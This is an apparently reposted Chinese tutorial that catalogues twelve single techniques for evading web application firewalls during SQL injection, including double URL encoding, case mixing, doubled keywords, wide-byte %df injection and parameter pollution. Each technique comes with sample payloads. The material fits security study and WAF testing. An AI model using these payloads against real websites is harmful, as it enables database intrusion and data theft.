绕过WAF单一方法

   日期:2020-05-02     浏览:116    评论:0    
核心提示:作者:小刚一位苦于信息安全的萌新小白帽,记得关注给个赞,谢谢本实验仅用于信息防御教学,切勿用于它用途数据库

作者:小刚
一位苦于信息安全的萌新小白帽,记得关注给个赞,谢谢
本实验仅用于信息防御教学,切勿用于它用途

WAF绕过大法

  • 绕过WAF
  • 单一绕过方式
    • 1,一次URL编码绕过
    • 2,二次URL编码绕过
    • 3,其他编码
    • 4,空格过滤
    • 5,内联注释绕过
    • 6,大小写绕过
    • 7,双写关键字绕过
    • 8,宽字节绕过
    • 9,添加%绕过
    • 10,cookie注入
    • 11,请求方式差异规则松懈性绕过
    • 12,复参数绕过
  • 总结

绕过WAF

在我们进行sql注入的时候,通常会蹦跶出一些waf阻止我们的注入。例如安全狗,360,D盾等乱七八糟的WAF,很烦。

网上WAF种类挺多的,有软件WAF,硬件WAF,云WAF和一些自定义的WAF。
其实waf绕过的方法有很多,主要是了解其中的原理,最后的绕过waf还是要通过组合拳的方式进行重拳出击。话不多说,直接上我最近收集的各种waf绕过大全。

单一绕过方式

1,一次URL编码绕过

许多WAF就是空壳,通过一次URL编码就可以绕过。
给个各种编码的网站:编码在线转换

id = 1' and 1=1 --+
id%20%3D%201%27%20and%201%3D1%20--%2B

第一个是无编码,第二个是编码后(后面都通过此格式表达)

2,二次URL编码绕过

有的waf会对参数进行一次解码后进行检测保护,所以通过二次URL编码即可绕过此防护方式。

id = 1' and 1=1 --+
id%2520%253D%25201%2527%2520and%25201%253D1%2520--%252B

无非就是对一次编码后的%再次转化成%25,就是二次编码。。。。。

3,其他编码

同样的原理,可以通过其他不同的编码方式进行绕过,Unicode,ASCii,Hex等等。但前提是由此编码的解码过程。

4,空格过滤

有的WAF会对参数中的空格进行过滤,可以通过+号或者空白符进行绕过过滤。
各种数据库的空白符不同,这里给出几个通用的%0A,0C,0D,09,20。
有的数据库的注释可以当空格使用。

id = 1 and 1=1 --+
id+=+1+and+1=1+--+
id%0A=%0A1'%0Aand%0A1=1%0A--%0A

5,内联注释绕过

在mySQL中是多行注释,也可以当空格使用,但在其中加入!会将注释语句执行

id=2 and 1=1 and sleep(3) union......
id=2and1=1andsleep(3)union......
id=1 and 1=1 and  union...

6,大小写绕过

有的WAF会对关键字进行过滤处理,union,select,sleep,and,or等。但通过大小写混写就能绕过此WAF

id=1 and 1=1 union select 11,22
id=1 AnD 1=1 uNiOn SelECT 11,22

7,双写关键字绕过

有的waf会对关键字进行一次替换处理,就可以通过双写方式绕过

id=1 union select 11,22--+
id=1 ununionion seselectlect 11,22--+
id=1 UnIunionoN SeLselecteCT 11,22--+

8,宽字节绕过

前提是使用GBK编码,并启用的魔术引号,
是因为对单引号进行转义处理,添加一个%5C(也就是斜杠/),通过在前面添加%df与转义字符%5C构造成一个汉字%df%5C。从而绕过waf。

id=1' and 1=1--+
id=1%df' and 1=1--+

9,添加%绕过

在敏感关键字中添加%或者/,后端会对%或/ 进行一次过滤,从而构造出SQL语句。例如un%ion,se/lect等

id=1 and sleep(3) union select 11,22--+
id=1 and sle%ep(3) uni/on se%lect 11,22--+

10,cookie注入

Cookie注入是有的网站会读取用户的cookie,如果过滤不当也会绕过waf造成数据库注入。
cookie只需要把前面cookie闭合,后面的语句正常构造,就能造成cookie绕过waf

11,请求方式差异规则松懈性绕过

有的WAF会同时接收GET和POST的请求,但在GET请求中增加了过滤规则,没有对POST进行过滤,所以可通过发送POST方法进行绕过。

12,复参数绕过

在提交的URL中给一个参数多次赋了不同的值(?id=1&id=2&id=3),有的WAF在处理的过程中可能只处理前面提交的参数值(id=1),而后端程序在处理的时候可能取的是最后面的值。

?id=1&id=2 and 1=1 and sleep(5) --+

总结

单一绕过方式暂时知道这么多,还有几个,%00截断,二阶SQL注入后续学会了在继续补充。
单一方式看似简单,但绕WAF单一方式还是没用的,需要各种尝试,通过组合拳的方式进行绕过处理。后续会补充点组合拳的方法。

 
打赏
 本文转载自:网络 
所有权利归属于原作者,如文章来源标示错误或侵犯了您的权利请联系微信13520258486
更多>最近资讯中心
更多>最新资讯中心
0相关评论

推荐图文
推荐资讯中心
点击排行
最新信息
新手指南
采购商服务
供应商服务
交易安全
关注我们
手机网站:
新浪微博:
微信关注:

13520258486

周一至周五 9:00-18:00
(其他时间联系在线客服)

24小时在线客服